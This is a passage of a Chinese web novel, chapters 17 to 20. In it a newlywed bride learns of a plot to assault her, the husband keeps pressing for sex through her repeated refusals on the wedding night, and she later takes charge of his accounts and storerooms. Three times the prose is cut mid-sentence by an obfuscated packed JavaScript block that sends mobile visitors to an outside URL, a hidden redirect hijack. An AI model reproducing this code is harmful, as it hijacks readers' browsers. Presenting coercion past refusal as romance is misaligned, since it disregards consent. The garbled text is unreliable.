“那真是可惜了,没想到五哥忌惮萧欻不敢对虞女起意。虞女出身名门,琴棋书画样样精通,这般的才女,得是五哥这般的才子才懂得怜惜,配个萧欻的莽夫简直暴殄天物。”
“谁说我忌惮萧欻!”
在喜堂看到虞女身姿妖娆,他便动心不已,恨不得今夜代替萧欻洞房。
这样仙品远在江南他就不说了,但既然在益州,他自然要品尝一二。
“日后你找机会多与她往来,如之前一般,若是得到虞女,我少不了你好处。”
“我只是可惜虞娘子这般才貌的世家女要被萧欻糟蹋,觉得她与五哥才是天生一对,可不是为了五哥的好处。”
赵七娘巧笑,已经迫不及待看到宓瑶被玷污时花容失色,那双美目又恨又惧,只敢用上吊自尽以示清白的惨相。
*
“这赵七娘和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591492|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赵五郎长得都人模人样,还都是身份的娘子郎君,没想到心思回那么坏,说的话简直猪狗不如。”
在喜房虞琇就一直在观察赵七娘,见她满头珠翠,穿红戴绿,就觉得她不好相与想抢她阿姊风头。
后头见阿姊不理她,她表情不忿的离开喜房,虞琇就跟了上去,先是见她训斥婢女,后面又听到她与赵五郎密谋。
“这事要不要告诉姐夫?”
叙述完赵家兄妹的对话,虞琇忧心地问道。
兄妹俩如同禽兽般狼狈为奸,显然以前已经做过他们口中的事情,并且还得手过。
只有千日做贼,哪有千日防贼,两人又都姓赵,她真怕阿姊一丝不察,明知道他们不是好人,往后还让他们得手了。
“当然要告诉他,他是一家之主,这些事情自然该由他来处理解决。”
宓瑶本来就不打算在赵七娘身上费神,打算等到赵七娘下次上门,编点内容让萧欻去解决兄妹俩。
但谁想到赵家兄妹那么张扬,在别人的府邸不确定周围有没有人偷听的情况下,就能有来有往地说出自己的秘密。
也不知道是他们太蠢,还是傲慢到觉得姓赵这件事能在益州一手遮天,把所有貌美女子都看做他们的禁脔。
“告诉姐夫就好,姐夫定然能保护阿姊。”
“那也不一定。”宓瑶翘唇逗了逗虞琇,“你瞧萧善他们,还他们的亲姑,萧镇使可没有护着自家人的习惯。”
别的不说,她跟萧欻的这段婚姻中,她一定得跟萧欻保持界限,千万不能被萧欻看做自家人。
被一个不护短还使劲糟践自家人的人当做自己人,想想就是人间地狱。
宓瑶坐在鎏金镂空妆奁前,一边卸除头上重得要死的牡丹赤金镶翡翠东珠礼冠,一边不停琢磨如何跟萧欻保持那条不当家人的界限。
等到满身酒气的萧欻回到喜房,宓瑶已经拆了云髻,微卷的青丝散落在背,身上穿了曙红撒花绫锻里裙,外头披了层胭脂红金线绣鸾凤和鸣罗纱。
两人对视一眼,宓瑶见他对她已经取冠换衣没什么意见,就放心继续坐在榻上。
萧欻走到妆台前卸了发冠,去湢间洗漱了片刻,出来后被酒气熏红的脸沾着未干的水迹,身上也换上了中衣。
到这一步,宓瑶还觉得一切都好。
等到萧欻上榻,她余光瞅见他的白绸裤中隐隐觉得有些不对劲。
还没想明白不对劲的地方,就见萧欻开始掀衣服,被他打算直接来的架势吓到,宓瑶只能收起心神,手臂挽住他的脖颈,朝他靠近主动亲上了他的唇角。
吻完她媚眼如丝瞧他:“我这身细皮软肉,萧郎就不想亲亲摸摸我?”
屋内几根龙凤烛灼灼燃烧,烛光下,宓瑶肌肤宛若蒙上了一层如玉如雾的柔光,她巧笑嫣兮,宛如话本中不似人的诱人精怪。
萧欻看向她唇瓣,宓瑶五官精致,却没有生得一副樱桃唇。
在鹅蛋脸上占据部位不少的饱满的肉/唇配上微微翘起的唇珠,比起最红的片掌花还要艳丽妖娆,像是一口能吞掉男子的心底那些肮脏不堪的情欲。
亲自然是想亲的。
萧欻俯身,依宓瑶的意思吻上了她的唇瓣,几口吮吸后,碰了碰她探出唇瓣的舌尖。
想到他看过几眼的避火图,他无师自通搂住宓瑶的纤腰,让她坐在他身,好方便他变换姿势,更深入地吻她。
宓瑶也是这个时候发现不对。
吻了半晌,萧欻犹如已经沸腾的热水,脖颈都沾染了胭红,迫不及待的想进行下一步。
而宓瑶一扫之前的柔顺娇媚,眉心紧蹙,手掌抵在他的胸膛,坚决道:“不可以!”
18. 第十八章
“为何不可?”
萧欻箭在弦上不得不发,听到宓瑶的拒绝,被酒意与欲熏染的狭长红眸泛起不满,紧紧地盯着她。
宓瑶不怕他平日凌厉宛若刮骨的眼神,但此时这种混合了野兽般暴躁,侵占性极强的眸光,她肌肤激起了一层鸡皮疙瘩,下意识有些胆怯。
不是她想喊停,而是这个情况不得不喊停。
萧欻上榻,她余光瞄到裤面就觉得不对,坐在萧欻身上后,她对布料下的不对察觉的更加清楚。
宓瑶瞅了眼床榻旁边雕龙画凤的粗壮喜烛。
她听过宛如儿臂,还以为是为了戏剧夸张,没想到真有人能完美符合这个形容。
她若是不喊停,今晚很可能会死在喜榻上。
“你那处生的太恐怖,我清楚我的本事,我不行,往后我给你寻个天赋异禀的妾侍,萧郎,你就纯纯把我就摆着看吧。”
她做好了跟萧欻同房的打算。
甚至想他的身形相貌,觉得自个铁定不会吃亏。
不是说身上肌肉含量高的男人,那地方会小如唇膏。
萧欻散开的中衣,隐隐看见八块肌肉轮廓,胳膊大腿也是极为有力。
怎么就粗成这样。
为了自个的小命,宓瑶也不婉转了,直接指出自己不行,并且承诺亲自给他找个行的来。
瞧见宓瑶涂了红蔻丹的手紧紧抱压在身前,身体还试图往后蜷缩,不像是是到了关键时刻做戏做不下去,而是真害怕他的身体。
萧欻开口,沙哑的声线在屋中响起:“你怎知道我这就是生的恐怖,你心中有比较不成?”
“郎君,我没有比较,但我有脑子,我知道我那处是什么样子,我真的不成。”
听到萧欻说比较,宓瑶既不慌乱也不紧张,只是用水汪汪的眼眸可怜巴巴地睇着萧欻,“萧郎你就把我当做美女图挂画摆着看吧,我定然比那些死物灵动。”
宓瑶的话让萧欻视线下移,看向了那块被她氤湿的红布。
“没试过如何知道不成?”
说完,他没给宓瑶再讨价还价的机会,堵住了她的唇。
被晾了那么一会,萧欻的兴致没有转淡,反而更为强势,宓瑶被他吻的头晕脑胀,脖颈上多了好几个吮吸啃咬的红痕,她才吃痛从酥麻中醒神。
“我真不成,你就放过我吧……”
布料掀开,宓瑶腿上一凉,接着又是一烫,宓瑶被烫的身体发颤,低眸一看,如她猜想一般,真就是儿臂。
这一下下去,还什么三年抱俩,再大的屁股也活不下今夜。
“这样如何?你不把那玩意塞进来,我便帮你管你三个孩子。”
说完,见萧欻还在试探,宓瑶吓得再度退让,“我还帮你培养可以照看内院的管事,这已经是我最大让步,你自个想想,这事你找其他女人也可完成,你不与我做,我就能为你创造作用,一个有用的管事跟一个用来睡觉的女人……”
察觉到钝痛,宓瑶说得飞快,到了后面感觉萧欻停下,她也跟着停下重重喘气。
萧欻凝视身下香汗淋漓,一脸惊惧的美人,轻嗤了声。
既没比较也没尝试,怎么就知一定容纳不下他。
以往在军中,洗澡时他不是没听过同僚陶侃过他,他知他生的比寻常男子蠢大,倒也关注过其他男子说荤话。
能生孩子能坐地吸土,不是说天地都吞的。
萧欻低眸看向氤湿了茵褥的潺潺清露,她嘴上说不要,他方才却感知不像她口中不成的样子。
对上萧欻依然嫣红的眼眸,宓瑶不知道两人这样算是交易成了没有。
这会他一停下她就后悔了,觉得自己在谈判中让步的太快,应该跟萧欻推拒几次才对,又是管家又是管孩子,她是老黄牛不成。
“萧大郎年岁大了,有自个的主意似乎不需要我来照顾,而还这毕竟是萧府,我一个外姓人来挑选府内管事,是否太过越矩,不然还是萧郎你来找……啊!”
痛感不大,宓瑶依然吓得尖叫,她也不敢再讨价还价,眼泪汪汪地瞧着萧欻:“萧郎我错了,你饶了我吧。”
宓瑶一边拉起被子自己紧紧环绕,一边移动身体,在床榻的边上躺下,“睡吧,我明日一醒就去与询问节度使府来的嬷嬷,若是找不到就费力培养一个跟她能力差不离的管事。”
不是她怂,而是她实在怕疼。
白得一条贵人命,老天爷要是收去让她死了,她会觉得不舍,但也能坦然接受。
但问题是男女之事并不是抱着一死了之的心能解决。
她真怕她的胃都被顶穿。
以防萧欻变卦,宓瑶躺下后就闭上了眼睛,一副马上睡熟的模样,而藏在被子里的手则是悄摸摸地拉好中衣。
只是她拉到一半就被萧欻伸手压住,宓瑶不敢睁眼,等到他的唇再度落在她的肩上,她捏着拳头瞪眼看他。
“咱们不是说好了?”
他可没与她说好了。
手掌拂过宓瑶的肌肤,萧欻想起了一桩陈年旧事。
他一次拿到官服,整理衣摆手上的茧子划过绸缎,便让缎子抽了丝。
那次他才知晓,原来越贵的东西越娇弱,他这般的粗人,若是没有耐心不如穿粗布省事。
如今几年过去,揉捏着宓瑶比最上等绫罗还娇弱的肌肤,他耐心十足,不觉自个不配,只觉得该是由他一点点占领侵蚀这般美妙的皮肉。
“我不进去。”
感觉到宓瑶越来越激烈的抗拒,萧欻开口道。
听到不进去,宓瑶阻拦的动作顿下,后头就晓得他是想做什么。
趁着他去湢室清洗,宓瑶低眸看了眼身上的红痕,还有扔在榻下粘作一团的大红缎面帕巾。
更觉得自个谈判谈的不对,虽然逃过了被撑爆,但腿心被磨红也不好受。
这种程度,她可交换的应该只有照顾小萝卜才对。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601841|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在心中碎念片刻,等余光瞅到萧欻衣摆,她立刻闭眼盖被假装入睡。
片刻她就感觉到身旁多了一人。
榻上只有一床鸳鸯衾,感觉到萧欻身上散发的热气,宓瑶睡不着又睁开了眼:“熄去几根烛火罢,亮如白日根本睡不着。”
她原本想着萧欻是个初哥,怕他找不对地方,才忍着羞涩没让他一开始就熄掉烛火,谁知道问题没出在找位置上,而是尺寸不相配。
萧欻没有下榻,也不知道他怎么动作,房内只剩了一根离床榻最远的喜烛。
周围暗了宓瑶虽然没生出什么睡意,但不像方才那般不安焦躁。
瞧着头顶绣并蒂莲的帐幔,宓瑶眨了眨眼,突然想到她现在这算不算是跟萧欻保持了界限。
哪怕肌肤相贴,没到最后一步,萧欻不至于把她视做自己人,也就不会把她当做自己人轻慢。
不过他到底是如何看待她提出的条件?
他一声不吭还真让她没底,他对小萝卜他们完全是放养,这种情况下他会觉得有人管他们是省事,还是觉得她多管闲事。
不过府中内务,他一定是缺个管事。
说起来她接手了管事的事物,是不是可以打开他的库房,肆意消耗他的家资。
她可是知道他这些年除却镇守翼州,与吐蕃人来来回回打仗,还为了维护赵天赫这个节度使的绝对权威,没少抄豪强的家私。
那些东西他总不会都交给了赵天赫一点没留。
宓瑶越想越精神,忍不住开了口:“方才女眷来房里闹喜,有位赵七娘子对我神色奇怪,她离开喜房后,琇儿偷偷她身后,听到了她与兄长商量如何诓我上钩,好糟践我的清白。”
怕萧欻不放在心上,她复述虞琇偷听的话还特意把其中内容说严重了一点。
但说完后屋内寂静无声。
宓瑶皱鼻:“萧郎你睡了?”
若是睡了怎么手不老实放在身侧,而是往她小腹上面揉捏。
她掐他胳膊都没办法把他弄走。
“你倒是说话啊,有人想占你娘子便宜,你就一声不吭?”
宓瑶推了推萧欻,不知道他在安静个什么劲。
萧欻的确是半梦半醒,不过她说的话,他也听进了耳朵。
见他不开口,她就手脚痒痒摆动个不停,他嗤了声:“管他作甚,有了比较,你发现男子都是这般,也就不怕了,若是他与我不同也是不错,你适应了细的,便能由细变粗,不会让我败兴。”
宓瑶:“……”
她这是嫁给了什么垃圾男主。
她与他说有人想骗他媳妇,对他媳妇强取豪夺,他说是好事一件,对方能帮他开阔疆土,好让他坐享其成。
而且他说这话时,手掌还在她娇嫩的肌肤上感受不同于他粗粝的滑腻。
这般的男人,怪不得在小说中能孤寡一生,作者不给他配CP算是放过了天下的女子一马。
19. 第十九章
隔日醒来,宓瑶身旁已经没了人。
看着渐亮的天色,她这会就察觉到了萧欻的好处。
他德性不成,但萧府没有长辈,所以她就是跟他成了婚,也不需要早起请安立规矩,可以翻个身继续睡觉。
只是等到她睡饱再次醒来,瞧见床前的身影,不由用力眨了眨眼。
“我还以为你死在了梦中。”
萧欻的嗓音已经不复夜里的暗哑,磁性的嗓音犹如一夜过去飞檐上凝出的冰条,又冷又硬。
“醒了就穿好衣物过来。”
说完,萧欻去了外间坐下,宓瑶摇铃叫来了婢女伺候,晓得有人在外面等,她就没多折腾,一盏茶的时辰便打扮周全,在萧欻面前坐下。
“郎君今日不需要去办差?”
“父君给了我三日假,明日你跟我去一趟使府。”
他本来打算今日就去,但是知道都要吃晌饭了,宓瑶依然没醒,他本不打算过来,只是在院中听到了下人碎嘴,说他折腾了宓瑶一夜没睡,还说什么也能听到了宓瑶求饶叫惨。
他脚步一转进了屋子,想看看被他耕坏的田如今是个什么样子。
在宓瑶睁眼前,他掀过被子,触到雪肌上的痕迹,倒是升起了几分惊讶。
昨夜他觉得他用得力道还不如狸奴叼幼崽脖颈,但谁晓得一夜过去,红的发紫的吻痕遍布了宓瑶的脖颈与胸前,其中还夹杂了几枚没消下去的咬痕。
此情此景他没了叫人起来的想法,但谁知下一刻宓瑶就睁开了眼。
听到要去给赵天赫请安,宓瑶立刻明白了她方才醒来时萧欻眼里的嫌恶是什么意思。
估计就是嫌弃她睡得太久,耽误了正事。
“往后郎君还有什么需要我出面的场合,提前一天叫我就是,我虽然爱睡,但偶尔早起一次不是难事。”
听出她话中晚起是理所应当,萧欻轻嗤了声:“让下人收拾隔壁的屋子,我不喜与人同睡,你今夜便搬过去,除此之外,让人把这屋子恢复原样,拆了红绸红蜡,你若喜欢便移入你的屋中。”
萧欻明显没忘宓瑶昨晚在床榻上的承诺。
吩咐完这些琐事,便把旁边的螺钿匣子移到了宓瑶跟前:“里面是账本与库房钥匙,你既睡饱了用了饭就可去跟账房对账,执掌中馈是你自个揽的职,若往后你有失职我会罚你。”
怎么就成她揽的职了,分明她不想被捅死情况下的妥协。
“我才不信萧郎舍得罚我。”
宓瑶娇哼把凳子移到了萧欻边上,瞧他眸光似笑非笑,干脆食指压在了他的唇上,免得听到什么难听话。
“权郎君给我了,那财又如何,郎君这般大方威岸的男子,不会让我如家奴般每月领月钱吧?”
松开了压住萧欻薄唇的手指,宓瑶期待地看向他。
“账上的金银你可以随意取用。”
萧欻说完后宓瑶等了等,觉着他会说出个限制,谁知道等了几个呼吸,萧欻都没有开口说第二句的意思。
不加限制的任意取用?
宓瑶眼眸倏然发光,亮如朝日:“萧郎你对我太好了,这辈子能遇见你是我的福气。”
她伸手搂住了萧欻的脖颈,见他不排斥便在他面颊上落下一吻。
“郎君,你对我那么好,往后你有做的不对的地方,我也不与你置气。”
既让宓瑶搬去隔壁,萧欻就打算不再与她亲密,但如今见她仰头翘唇,他的目光从她的眼眸一路向下,等到回神时已经俯身在她唇上咬了一口。
宓瑶吃疼呻吟,他才缓缓抬头。
“往后每月初一十五我们同房,如昨晚一般。”
闻言,宓瑶怔了怔,初一十五不该是焚香祭酒,求神拜佛,怎么到萧欻这儿就反着来了?
如昨晚一般,那就是只蹭蹭不进去?
目光交错,萧欻也没给她反对的机会,下达完命令就干脆利落地离开了屋子。
“阿姊,姐夫的长随说让我们收拾院子内的侧房,说是姐夫吩咐,让阿姊往后搬到侧房居住。”
萧欻一走,虞琇就焦急地进了屋子,急冲冲地说完,目光触到宓瑶脖间没掩藏好的红痕,加上看到她红的不正常嘴唇,虞琇惊叫了声,眼泪汪汪:“姐夫可是欺负阿姊了,姐夫怎么如此,阿姊如此貌美还欺负阿姊。”
就不想让没及笄的小丫头知道太多男女的事,昨晚她还特意嘱咐,让今早虞琇别随着霜华她们进屋,免得看到一些她需要解释的东西。
谁知道她逃过了换衣服,却忘了将衣领穿高遮丑。
“搬到侧房不是镇使欺负我,而是我不想吃苦。”
那么大的东西,往哪里塞都可以,就是不能往她的体内入。
想到萧欻走前的几个要求,宓瑶先交代下人把屋子恢复原状。
“哪有那么早取喜绸,不说挂半个月,至少要挂三天吧。”
虽然宓瑶不说,但虞琇依然觉得着萧欻怪异,那么美的娇娘不爱,跟她阿姊置气,特意下她阿姊面子让旁人看笑话。
“挂不挂这个亲都成了,府里那些红灯笼可以不取,正好接上过年,但红双喜可以取了。”
宓瑶一边说一边打开了萧欻带过来的匣子,打开账本,看到账面上的数目,她沉默了片刻。
“阿姊怎么了?”
宓瑶神色严肃,虞琇茫然地凑过去,她是庶女,在虞家没学过中馈也没学过算术,自然看不懂账本,所以不明白宓瑶是看到了什么。
“琇儿,你往后记得别说你姐夫的坏话,他是个大好人。”
原本萧欻说随意取用,她还以为萧欻是有两个账本,萧府面上的账目不会太少,但也不会太多。
谁知道账目上金银多的夸张,除了十二万两白银,还有八万两的黄金。
他是挖了金矿不成,既然能有那么多金子囤积在家。
放下账本,她又打开了记录库房名录的札本,为了不让自己控制不住太激动,她紧紧握住了虞琇的手。
不愧是男主,真是有钱。
估计这个府邸原本就是萧欻抄的,赵天赫也没让他上缴什么,所以萧家的库房品录种类丰富,涵盖了各地的珍品。
不过记录库房札记的人明显前后不同,前面的人记录详细,后面的人不通风雅,只会记书画一件,瓷瓶一件,并不详细描述是什么瓶,是什么书画,这般若是府中看守库房的人有外心,轻而易举就能替换库房中的东西。
“先把侧房完全空出来不急着摆设,咱们去库房一趟,看到什么好的就换什么。”
宓瑶越看越激动,取了件白貂绒镶边大红洒金披风,就打算去库房清理物品。
只是她才到院子,腿上就是一重。
低眸一看,是穿着棉滚滚的小萝卜。
“想我了?”
见萧善抱着她腿不放,宓瑶笑道。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607655|171644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
萧善用力点头,指了指她身上的披风,又指了指自个身上的衣裳。
萧府大喜,今日除了萧欻穿了一袭墨绿色锦袍,其他人都是喜气洋洋,不止萧善穿了红色小袄,萧翼萧良也是缂丝葫芦纹红襕衫。
“拜见母亲,母亲万福。”
见萧翼上来就拉着弟弟要跪,宓瑶阻了阻。
萧翼以为宓瑶与阿爹成了亲,还是不愿听他们叫她母亲,想着弟弟估计又要伤心失落,就听到宓瑶道:“要行礼那就去屋里正经拜一个,不若在这儿,我兜里什么都没放,你们拜了我也拿不出见面礼。”
宓瑶的话一说,萧良惊喜地睁大了眼:“母亲要送我们礼物?”
“昨日我与你们阿爹成了亲,你们之后就算是我的儿女,既是这样你们今日拜见我,给我请安,我自然要给你们见面礼。”
等到屋里,让霜华拿了跪团,瞧着三个给她磕头的萝卜头,宓瑶真有了自个已经是长辈的实感。
十七岁的女娘有了七岁的儿子,简直丧尽天良。
见面礼是早就准备好的。
把三人叫起来,宓瑶按着大小秩序,开始一个个的送礼。
雕瑞兽的赤金项圈一人一个,萧翼额外得了一套文房四宝,萧良是玉制九连环,萧善则是一套迷你银茶具,是正常版本的缩小版,可以当摆设,也可以拿来小孩们一起过家家。
赤金项圈是虞家备的,其他则是她来益州的路上见着有趣买的,如今正好能拿来送礼。
除了萧翼稳重得了见面礼没有细看,剩下两个小的捧着礼物看了又看,萧善直接放在美人榻上开始玩了起来。
“让你们嬷嬷把东西放回住处,这会不急着玩,咱们去一趟库房,看看家中都有什么好东西。”
本来她觉得昨晚她妥协妥亏了,想与萧欻假装只有管家,没有当保姆的事。
但听到萧翼说他们清早来跟她请安遇到萧欻,萧欻说她还在睡,等到她醒来会派人叫他们过来问安。
她就晓得萧欻虽然是当武将,但就跟商人一样得了利就咬住不松口,不会给她假装没有这回事的机会。
既然如此,事事周到她做不到,面子功夫她就得做足了,等到再出门她身边多了三个红彤彤喜洋洋的萝卜,一群人浩浩荡荡去库房清点萧欻的家私。
*
见宓瑶的动静,濮青不禁不放心地朝主子道:“调查虞女的斥候回来道虞女对她那情郎情深义重,口述中的虞女与府中的虞女有别,奴怕虞女在镇使面前做戏,好让镇使放松警惕为桓冠斌报仇,镇使把库房钥匙与府中账本交给虞女若是她有异心……”
濮青边说边觉着英雄难过美人关。
他主子英武不凡,以往从未像是那些色欲熏心的男子影响过正事。
但这次不过才与虞女洞房,就把一反常态变了原本的计划,把全部身家都交予了虞女。
作为忠奴他认为自个有责任劝谏主子,所以只能一边忐忑,一边说虞女坏话。
说完他怕主子被虞女迷了心窍,会出言训他多事,就听到主子道:“若能调动她的异心并非坏事。”
她不把异心展现出来,他又有何缘由罚她。
他娶她前只打算把她当做摆设,但她这人太不讨喜,句句话看似乖顺但却叫人听了想要动手收拾她一顿。
而无缘无故,他如何能收拾她。
只能给她机会教她犯错。
20、第二十章
“你们姑母还在不在府邸?”
走在路上,宓瑶突然想起昨日见到的萧柔,若是人还在她少不得要去打个招呼。
“姑母昨日看过母亲和我们就走了,听范嬷嬷说连席都没吃。”
萧良回答宓瑶,表情一本正经,认真瞧着宓瑶。
晓得萧良这是想引起她的注意在他跟前卖好。
宓瑶瞧着扬起的白嫩脸蛋,忍着没捏脸,只是摸了摸他的头:“二郎说的真仔细。”
被宓瑶抚摸头顶,萧良羞涩笑了笑,原本他以为母亲会离他和兄长远远的,谁知道母亲不止送了他们礼物,这会还带他们去库房看东西。
虽然不晓得是要看什么东西,但他现在好高兴,好期待,希望宓瑶再问些他知晓的东西,好让他能回答出来,能与母亲多说说话。
可惜一路宓瑶没有再开口的意思,不过他没失落片刻,到了库房宓瑶让下人搬椅子和火盆,他的位子就在宓瑶旁侧,这般他又开心了起来。
萧良的心思都写在了脸上,萧翼余光扫视弟弟妹妹,一个挤在宓瑶椅子上,抱着宓瑶的胳膊打盹,另一个仰着头看着宓瑶,眼睛亮闪闪地发光。
宓瑶对他们冷漠时二弟失落,但他却觉得安全,如今宓瑶变了个模样,他不觉得开心,反倒是有些惴惴。
怕宓瑶有一日对二郎和善儿没耐心了,两人会失望难过,更怕宓瑶此时的好是另有目的,怕那些大人用来吓他们的话成真,宓瑶作为继母觉得他们累赘,受不了他们与她未来的孩子同住萧府。
宓瑶没在意自己的改变给萧翼施加了多大的心理压力。
她现在满心都是对库房的品录。
除了椅子,她还让人搬了两张桌子过来:“霜华记册,郑管事指地方,诗雅去取东西过来让我过目。”
宓瑶说完瞧见在旁瞪着三个萝卜头的虞琇,继续道,“琇儿你去帮霜华,做得好我给你奖励。”
听到宓瑶吩咐,萧翼坐不住道:“母亲,我也认得不少字,力气也大,可以帮忙做事。”
听到兄长开口,萧良也紧随其后说可以帮忙。
萧良就算了,宓瑶看向表情严肃的萧翼,有人抢着干活她自然欢迎:“你来看旧册子唱名,不认识的字问我。”
旧册子的记法简单,不会有太难的字,萧翼揽了活正好不费她嗓子。
萧家的仓库不小,两层的楼屋,而且还不止一间。
库房里大的有床有榻,小的有珠宝摆件。
收库房的只有一位管事和一个年岁不大的小厮,见着人宓瑶就明白了萧欻为何放心把库房给郑管事管理。
郑管事身高看着将近八尺,身形健壮,五官端正,不过右脸颊有一道狰狞的刀疤,几乎毁了他半张脸。
除此之外,他手边放着拐杖,有一只腿明显不便。
虽然身体残疾,但郑管事虎目虬髯,一看就是上过战场手上沾过血的铁汉,怕他伤了腿,寻常人想占他便宜也不容易。
再想萧欻的官职,这个郑管事大约是他曾经的属下之类,萧欻能确定他的忠心,就把他指派过来看守库房。
见着他郑管事其人,她就觉得旧册子的潦草完全无事,郑管事能认识字并且有耐心写小字,她都已经觉得不容易。
她没有在库房塞人的打算,此趟过来除了挑她新屋中的摆设,就是干点活,把上一本品目含糊的东西重新登记造册,好方便以后继续拿好东西。
“册子上的物件都这里堆着,小的装了箱,大的就在外头。”
宓瑶让郑管事坐他没推迟,大刀阔斧地坐在了他指了的角落的边上,“夫人只管说老册子上的日子和物品,郑某记性好,铁定都能给夫人找出来。”
郑管事自信拍了拍胸膛。
瞧他的模样,宓瑶不禁想她是不是太以貌取人。
郑管事外表看着粗狂豪放,不代表他不是个心思细腻的男人,不过没到半盏茶,看到满桌子上的器物,还有郑管事满头的汗水,宓瑶就知道她想多了。
郑管事开始按着册子上记得日子,想着日子前面的东西都在底下,还能蒙对几个,到了后面就是在箱子里乱捞。
宓瑶看不过去,干脆让诗雅她们把东西拿出来放在桌上,她对着册子一个个的分辨。
幸好她继承了原主的记忆,原主有所见识,她自然也能分辨每样器物的名称。
“这玉佩不错。”
看着册子上记录的荆州孙家所赠白玉,宓瑶打开锦盒,看到其中雕刻荷花的羊脂白玉,上手碰触带着温润的暖意,看着喜欢,便叫霜华记录被她拿了。
要了玉宓瑶随手就递给了萧善,让她拿着把玩,而她开始看下一件物件。
这间小库房大多都是旁人赠送萧欻的礼物,因为萧欻是武将,所以送的东西种类也很趋同,哪怕盒子里是把匕首,也是嵌满了宝石,用鎏金做鞘。
除此之外,宓瑶还翻出不少送给孩童的东西。
估计是送礼的人知道萧欻有三个孩子,特意贴心给孩子们准备了东西,想借此讨好萧欻,谁晓得东西都被萧欻扔到了库房,根本没有拿给萧翼他们的意思。
这些东西她自然都搜罗出来分给了三个孩子,除此之外,瞧见一盒用金豆子拼做的动物,宓瑶把匣子给了虞琇。
“这盒归你,其他玩乐物品我懒得细分,要是你侄儿侄女那儿有你想要的,你就拿这个去换,若是他们也喜欢,你就拿着这个换成银两出去再买。”
见宓瑶不停拿出东西放在萧良他们面前让他们带回院子,虞琇牙都咬碎了,东西都被他们拿走了,等到时候阿姊产子,姐夫正经的孩子不就什么都没了。
没想到下一刻,阿姊就给了她一盒金豆子。
“阿姊,这也太贵重了……”
虞琇不敢接,她是庶女,这些年跟在宓瑶身边不至于让府里面的刁奴看轻,但待遇跟宓瑶这个嫡女天差地别,她包袱里唯一一枚金镯,是她离开虞府前嫡母李氏赏的。
而这些金豆应该够打两只金镯子了。
“哪怕贵重,你是我妹妹,自然值得。”
宓瑶没说这些金子放在这一屋子珍宝里不值什么,而是强调了虞琇的值得。
听到这话虞琇眼泪汪汪,哪里还记得萧善他们得的东西:“阿姊,这世上没人比你待我更好了。”
这话似曾相识,宓瑶想了想,发现是她对萧欻说过。
原来听到这话会是这般舒爽的滋味,怪不得她说完,萧欻那般自制喜怒不形于色的人也目光深邃地多看了她两眼。
“姨母若是有想要的东西,只管取就是,不需要交换。”
萧翼见宓瑶找出那么东西要送到听松院本就想要推拒,觉得东西太多,阿爹之前不给他们,应该就不是给他们的东西。
此刻听到宓瑶嘱咐虞琇,就立刻开口说道。
他说完,萧良也把面前的盒子往外推了一下,“姨母只管拿去。”
光是从宓瑶那儿得的九连环他就够欢喜了,再说这些东西全放在听松院,他怕没一阵子就会慢慢消失不见,就像是以往他喜欢的小玩意,要不是被虎头拿走,就是在屋里失踪。
“拿也不是现在拿。”
宓瑶开口道,“琇儿去造几个册子,等到这儿散了,你就去把你侄子侄女院里的东西全都记录在册,这些东西也记上,往后丢了东西也好知道丢了什么。”
在大家族里头,小主子的物品记册再正常不过,但萧欻这个四品官是半路出家,他不管后院也没有女眷管,自然就乱糟糟的一片。
除此之外,萧府的下人实在太少。
虞家也就比萧府大一些,府宅里就有将近两百的家奴,而萧家只有十九个。
在行事札上添了买奴,之前写了管事那一栏,她直接填了虞琇上去。
罗嬷嬷不能用,宓瑶在萧家管事人选上想了一圈,有本事自然是别人府里的家奴,那怕她捞一个过来,忠心问题也要考虑。
相比于费心找人培养人才,她选择范围放在了她身边的几人身上。
三个臭皮匠顶一个诸葛亮,霜华,诗雅,虞琇都识字,培训一下她们就能走岗上任。
反正萧府原先的底子也就这样,新增岗位的人员有大把时间自个摸索成长。
清点好第一个库房,宓瑶开始转到了下一个库房。
第二个库房稍大,看着明显乱堆的东西,她就知道这个库房的东西都是萧欻战利品。
所以许多东西连盒都没有。
派了人去买所需储藏物品的锦盒,宓瑶手懒洋洋地撑着下颌,看着越来越上手的霜华还有萧翼,越来越觉得自个未来可期,再辛苦几天就能躺平。
感觉到肚儿空空,她干脆带着萧善萧良先溜,去了储存萧家储存药品和珍稀食材的食库。
昨日才办席,食仓里还剩了许多昨日没用上的鲜货,走到里头,才能看到柜子里的鲍参翅肚。
瞧着这些食材的品相,宓瑶蹙了蹙眉。
她小厨房的食材都是从大厨房拿取,因为从江南带过来的厨子手艺不错,加上路上买的食材也没有完全消耗完,她没觉得膳食有那儿不好。
但如今看到还没有萧善手大的次等鲍鱼,她就不乐意了,这可是账面上有几万两黄金的萧府,她作为萧欻娇妻,怎么能只吃这些东西!
